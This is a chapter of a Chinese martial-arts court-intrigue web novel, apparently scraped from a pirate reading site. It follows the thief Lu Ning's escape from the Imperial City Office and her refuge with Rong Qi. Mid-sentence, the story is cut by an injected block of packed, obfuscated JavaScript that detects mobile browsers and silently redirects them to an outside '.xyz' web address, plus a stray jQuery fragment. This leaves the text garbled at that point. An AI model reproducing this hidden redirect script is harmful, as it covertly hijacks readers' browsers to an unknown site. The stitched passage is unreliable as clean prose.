默认冷灰
24号文字
方正启体

8. 引子

作者:九日悸本书字数:K更新时间:
    夜风裹着一股浓郁的酒香突然拂过庭院。


    李安昌看到是江慕辞眼中突然闪现一丝希望,声音颤抖着喊道:“瑾怀兄!救我!”


    那语气里带着几分哽咽,活像是溺水之人抓住了最后一根救命稻草。


    江慕辞拎着一个半空的酒壶信步踱入庭院内,他步履看似稳健却带着几分醉酒般的轻浮。待往近处了看,才发现他面具下的眼角泛着薄红已然透出些许醉意。


    “显之兄,这是唱得哪出?”


    江慕辞慵懒的嗓音里带着醉酒后的沙哑,他目光不着痕迹地扫过庭院众人,在陆宁身上稍顿一瞬移开,最后定格在廖深身上时:“有廖大人在此,难道还有人敢动你分毫不成?”


    “就是他……”李安昌手指向廖深,突然激动起来:“他要杀我!”


    江慕辞轻笑一声,醉眼朦胧,他晃了晃酒壶,语气带着几分调侃:“显之兄这是醉的比我还要厉害,明明劫持你的人是眼前这女贼,廖大人自然是来救你的。”


    他顿了顿,接着说道:“皇城司办案一向公正明理,又岂会滥杀无辜?若是让不知情的人听了去,还以为廖大人连个女飞贼都拿捏不住分寸。”


    廖深脸色阴沉,冷哼一声道:“少卿大人深夜到此,莫非是要干涉皇城司办案?”


    “岂敢,”江慕辞摆了摆手,语气轻飘飘只是像是随口一提,“本官只是路过听闻此院动静,特来瞧瞧。廖大人办案,本官自然是放一百个心的。”


    他上前两步,酒气混着夜风拂过廖深鼻尖,廖深皱眉。


    “显之兄,你且放宽心,廖大人自有计谋,定会保你平安。”


    李安昌眼中闪过一丝恍惚,他望着江慕辞一副醉眼朦胧但却从容自若的模样,又环顾四周严阵以待的弓弩手,不知怎么竟也真信了几分,连带着对廖深那张阴沉的脸都少了些惧意。


    廖深眸中阴鸷更甚。江慕辞这番话,明面上是恭维奉承,暗里却句句带刺。倘若他执意动手伤了李安昌,反倒显得自己行事鲁莽,故意而为之。


    这半年来,他奉命在盐巡使各处宅院日夜蹲守,不知熬过了多少日夜才等到这女贼现身。虽确信她与盐巡使贪污案脱不了干系,但她身上究竟是否藏有账册,尚未可知。


    他暗自思考片刻,目光扫及陆宁。眼中闪过一丝阴冷,只要把人带进去昭狱大牢,不愁她不开口。


    眼下跟江慕辞纠缠实属不智,待拿下这女贼,区区一个安定侯,他自有办法向曹公与圣上交代。


    思及此,他也不再与之狡辩,冷然抬手,四周卫兵闻令而动,数余只箭簇齐齐指向场中二人。


    李安昌方才稍缓的脸色骤然惨白如纸,豆大的汗珠顺着肥厚的下巴滚落。


    就在这千钧一发之际——


    “让开!快让开!马惊了!”


    院外突然传来一阵急促的马蹄声,伴随着惊慌的呼喊,声音由远及近转眼已到门前。众人还未及有所反应,只听“轰轰”一声巨响,三匹失控的马匹已然撞破院门冲了进来。


    为首的枣红马双目充血,鬃毛炸起,细看马嘴一侧似有白沫溢了出来,应是中了毒。紧随其后的两匹黑马见庭院人群密集愈发狂躁不安,朝向院内人群横冲直撞而来。


    院子内混乱更甚,宾客奴仆尖叫着纷纷抱头逃窜避让,院内原本严阵以待的卫兵队形瞬间溃散,弓弩手们也收了弓弩避让生怕被疯马践踏。


    陆宁见卫兵队形已经溃散自顾不暇,趁此机会她左手短剑倏地收回,左手运足内力将李安昌推至一旁相对安全的花坛后侧。


    李安昌猝不及防被凌空推出,肥胖的身躯在空中划出一道弧线。


    与此同时围墙上卫兵见势而发,数余只弩箭齐齐朝着她而来。陆宁身形如鬼魅般快速旋转,手中短剑划出一道银色弧光躲过数支致命箭矢。但还是因为刚刚推李安昌时慢了半拍,来不及躲避左臂被一支利箭擦过,顿时鲜血直流。


    陆宁闷哼一声,却顾不得疼痛,足尖在翻倒的案几上重重一点整个人如离弦之箭射向那匹人立嘶鸣的枣红色马匹。


    就在马蹄即将落地的瞬间,她已稳稳落在马背上,陆宁左手抓住断裂的缰绳,右手在马臀上狠狠一拍。疯马吃痛,发出一声震耳欲聋的嘶鸣,狂躁转圈却始终甩不脱背上的骑手。


    底下卫兵围成一圈但谁也不敢上前,陆宁紧勒缰绳意图控制马匹调头朝着院外冲去。


    “拦住她!”


    意识到她这一疯狂举动,廖深暴喝一声,右手抽出腰间长刀正欲纵身擒拿贼人,忽见一道白影踉跄退来死死拽住了他衣角一侧。


    “廖大人小心!”


    江慕辞为躲避冲来的黑马,靴子不慎被掀翻的食案几绊倒,整个人向旁边一侧的廖深扑去,慌乱间伸手乱抓,竟碰巧扯住了他的衣服下摆。


    廖深怒目睁圆,正要发作,那匹黑马已冲至眼前。他眼中寒光暴涨,长刀在空中划出一道残影,刀锋过后马首陡然掉落。无头马身又向前冲了几步,在江慕辞面前才轰然倒在地上,马首鲜血顿时如泉喷涌,混着脑浆溅了一地,场景诡异恐怖至极。


    江慕辞扶住一旁的柱子而起,看到眼前此景面具下的嘴唇愈发苍白,似惊魂未定。他气息紊乱地轻咳两声,声音虚弱却带着敬佩:“廖大人当真是好功法。”


    廖深脸此刻色铁青,他阴鸷的目光在江慕辞面上停留片刻,终是冷哼一声,转身对底下卫兵喝道:“追!”


    就在这瞬间,陆宁已驾驭着疯马硬生生从卫兵的重围中冲出一条生路来。外院守着的卫兵们显然也没料到女贼竟能策马突围,仓促间结阵对抗,却见那疯马之势竟无一人敢正面抗衡。


    陆宁骑着疯马冲出府门,抬眼便看到巷口停着一辆运粮的马车。快到马车一侧,她左手猛拽缰绳突然调转方向,右手在马背上面一撑,整个人翻身般腾空而起。半空中她运足内力,一掌拍在马臀上,那疯马受了惊便嘶吼着冲向后面最先追出来的卫兵。


    此时她已稳稳落在摇晃的车辕上,快刀斩断缰绳,借着卫兵们被疯马冲散的混乱空当,陆宁骑着快马已消失在巷子尽头。


    左臂伤口传来异样的灼痛感,火辣辣的痛楚正沿着手臂向上蔓延。皇城司的毒箭不比一般弩箭,都是在毒药汁中浸泡过的。陆宁顾不得处理伤口,从腰间暗袋摸出一颗避毒丹含在嘴里,暂时压制伤口传来的灼热痛感。


    按照玄命司的标记,转过三条错综复杂的街巷后,陆宁勒马急转拐进一条死胡同。一匹与她坐下黑马极为相似的骏马疾驰而出,马背上与她身形穿着相似的暗卫朝她微微颔首,便冲了出去。


    陆宁藏在暗巷深处,以堆放的杂物作为掩体,她撕下一片衣裙草草包扎了伤口便不敢再有


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15464200|169788||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    动作。等了一会,巷外脚步声杂乱,骑兵的火把将外面街道照得通明。


    “在前面追!”


    有人高喊,杂乱的脚步声渐行渐远。


    待确认追兵已经完全听不到动静,陆宁靠在背靠砖墙上缓了口气。她从暗袋中取出一张薄羊皮面具,指尖蘸了些特制的药水,在脸上几个穴位轻点数下,面具竟严丝合缝地贴附在肌肤上。


    又取出一个小瓷瓶,倒出几滴黄色药水在掌心摩擦,而后快速涂抹在脸上、脖颈和手背。转眼便从一妙龄女子变成了一个面色蜡黄的中年妇人。


    她忍着剧痛将身上带血的外衣脱掉扔在一边,换上一旁早已准备好的衣袍,这才佝偻着身子慢慢走出巷子。她混入街上的人群之中并不起眼,拄着一根随处捡来的木棍,朝着与追兵相反的方向走去,身影很快便消失在熙熙攘攘的人流中。


    ——


    更深露重,万籁尽寂。


    荣七在睡梦中忽然听见几下轻浅的叩门声,他翻了个身,没有理会。叩门声再次响起,这次明显急促了些。荣七猛地坐起身,身旁两个弟兄也被惊醒。


    “七哥!”一人声音在黑暗中发颤,“会不会是那群人追过来了?”


    两人刚刚从牢里面被救出来,今夜本就睡得不踏实,此刻更是觉得毛骨悚然。


    荣七下了床,吹亮火折子点燃桌子上的油灯,豆大的火苗在黑暗中跳动,照亮了整间屋子。


    “你们先藏起来,我去看看。”他看了面色惨白的两人一眼,抄起一直放在身侧的弯刀便朝着地向院门走去。


    院中落叶沙沙作响,荣七贴着破旧的木门,一只手紧握刀柄,低声问道:“谁?”


    “是我。”


    这声音虚弱却熟悉。荣七心头一喜将弯刀别在腰间,立即拉开了门栓。只见月光下一个佝偻的中年妇人站在门外,左臂包扎的衣袖已被鲜血浸透,泛着一片暗红色。


    不等再荣七开口,妇人已经踉跄着跨进门来,反手将门栓扣上。


    “女侠?”荣七试探着问道,目光落在妇人那双异常清亮的眼睛上和那张陌生的脸庞。


    陆宁点了点头。


    荣七心中闪过一丝惊讶。早年盗墓时,倒也听闻道上的人讲过人皮面具的故事,据说此物薄如蝉翼,覆于面上可以改换容貌。但今日亲眼看见还是头一遭。再想到女侠身手不凡,又有这等稀罕物件,不由对她的身份又多了几分好奇。


    两人快步回到屋内,陆宁从怀中掏出一壶酒,拇指一挑,一股浓烈的酒气顿时在屋内弥漫开来。


    荣七心生疑惑,正要询问,只见她一把扯开左臂上浸血的包扎带,将酒液直接倾倒在左臂伤口之上。她的手指因剧烈疼痛而微微发抖,后背已经激出一身冷汗,却始终咬着牙没有出声。酒水混着血水在地上积成一滩水渍,直到第三遍冲洗时,她才稍稍放松了紧绷的肩膀。


    “女侠,你这伤?”荣七忍不住闻道。


    陆宁并不避讳,直言道:“路上碰到了皇城司。”


    荣七闻言倒吸一口凉气。上京城内谁人不知皇城司的厉害?但能从他们手中逃脱,简直是不可思议。


    “要不要请个郎中过来瞧瞧?”荣七急切地问道。


    “不必。”陆宁摇头,“今夜受伤,他们捉不到人,必定会在城内各个药铺设伏。这伤死不了人。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)